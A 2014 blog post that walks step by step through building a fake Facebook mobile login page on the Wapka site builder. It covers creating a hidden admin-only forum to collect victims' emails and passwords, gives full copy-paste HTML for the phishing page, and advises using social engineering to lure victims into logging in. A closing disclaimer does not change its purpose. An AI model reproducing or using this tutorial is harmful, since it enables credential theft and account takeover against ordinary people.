Wednesday, 4 June 2014

Hack Facebook AC by Phishing with Wapka

What is Phishing ?
Phishing is a way of deceiving your victim by making him login through one of your webpages which is a copy of the original one. By doing so the fake webpage will save his E-mail ID or username and password. This is used for criminal activities for stealing Credits Cards and So on.

Now we are going to make a fake login page of Facebook Mobile.

Lets start the tutorial...
Step 1: Register a new Wapka Account
First create a new wapka account from the link below.
wapka.mobi










Step 2: Editing Wapka Texts
Login to your Wapka account. Goto Settings>Edit text> Forum/chat and change the following words,

Name: Email or Phone 
Text: Password 
Submit: Log In 
It's shown in the screenshot below.














Click 'Edit' to save and Login to your account in ADMIN mode.

Step 3: Create a new forum
Create a new forum to save all hacked usernames and passwords in your site.
You can do it by Edit Site>Forum














Get inside your newly created forum and note down its Forum ID. You can find it at the right bottom corner of the forum. Its shown below.













 Step 4: Change Forum Visibility 
The forum we create above will be visible to everyone. Now we have to change its visiblity, so that admin can only view the hacked usernames and passwords.
You can do it by Edit site>Users>Items visibility
Mark 'X' to make it visible only in admin mode.
Step 5: Uploading Facebook Mobile Phisher Page Source Code
Just copy and paste the code below in your site.















<
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>Facebook</title><link rel="STYLESHEET" type="text/css" href="styles.css"/><meta forua="true" http-equiv="Cache-Control" content="max-age=0"/>

<style type="text/css">
body{color:#000000; margin: 0; padding: 0;}
a{color: #3b5998; text-decoration: none}
input[type="submit"]{border: inset 2px #000000; background-color: #3b5998; color: #ffffff; } </style>

<link rel="shortcut icon" href="http://wfs01.wapka.mobi/4978/4978439_ab81f0b488.png" />

</head><body>
<div style="background-color: #3b5998; padding-top: 2px; padding-bottom: 2px;"><img src="http://wfs01.wapka.mobi/4972/4972694_2ef48880b0.png" alt="Facebook" /></div>

<div style="background-color: #faf8cc; padding-top: 2px; padding-bottom: 2px; padding-left: 1px; padding-right: 1px; font-weight: bold;">You must log in first.</div>

<div style="background-color: #eceff5; padding-top: 3px; padding-bottom: 3px; padding-left: 2px; padding-right: 2px;">

<!---Enter your forum id below and also remove all spaces from ":" to ":" --->

: forum -XXXXXXXX/smallform/0:<br />
<!---www.hackcrack007.blogspot.in powered by hack & crack--->

</div>

<div style="background-color: #eceff5; padding-top: 3px; padding-bottom: 3px; padding-left: 2px; padding-right: 2px;"><a href="http://facebook.com>Forgot password?</a></div>

<div style="background-color: #eceff5; padding-top: 3px; padding-bottom: 3px; padding-left: 2px; padding-right: 2px;">Need a Facebook account?</div>

<div style="background-color: #eceff5; padding-top: 3px; padding-bottom: 3px; padding-left: 2px; padding-right: 2px;"><a href="http://m.facebook.com/r.php" >Sign up here.</a></div>

<a href="http://m.facebook.com/help" >Help Center</a><br/>
<b>English (US)</b> · <span style="color: #3b5998;">বাংলা </span> · <span style="color: #3b5998;">हिन्दी</span> · <span style="color: #3b5998;">More…</span><br/>

Facebook ©2014<br/>

<a href="http://vr-the-hacker.blogspot.in" >Airtel Live Home</a>

</body></html>
You can add it by Edit site>WML/HTML code

Note:But before pasting, edit the code and replace 'XXXXXXX' with your Forum ID( as you found it in step 4) and remove spaces in small form tag.

Now you can see your fully designed facebook phishing page.
But there'll be only one filed instead of 'Email or Phone' and 'Password' fields.
Don't worry, wapka won't ask usernames when you are logged in.
So just logout your admin mode or open your site url in a new tab. You'll see a page like this.

















* You can find all hacked usernames and passwords in the forum by logging in as ADMIN.
Now use your social engineering skill to make the vitim to login in your site. You can send him a message with your link.
Disclaimer: DO NOT use this for fraudulent activities use this just to gain knowledge and not to cause harm to other people in any sort.
Posted by at

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)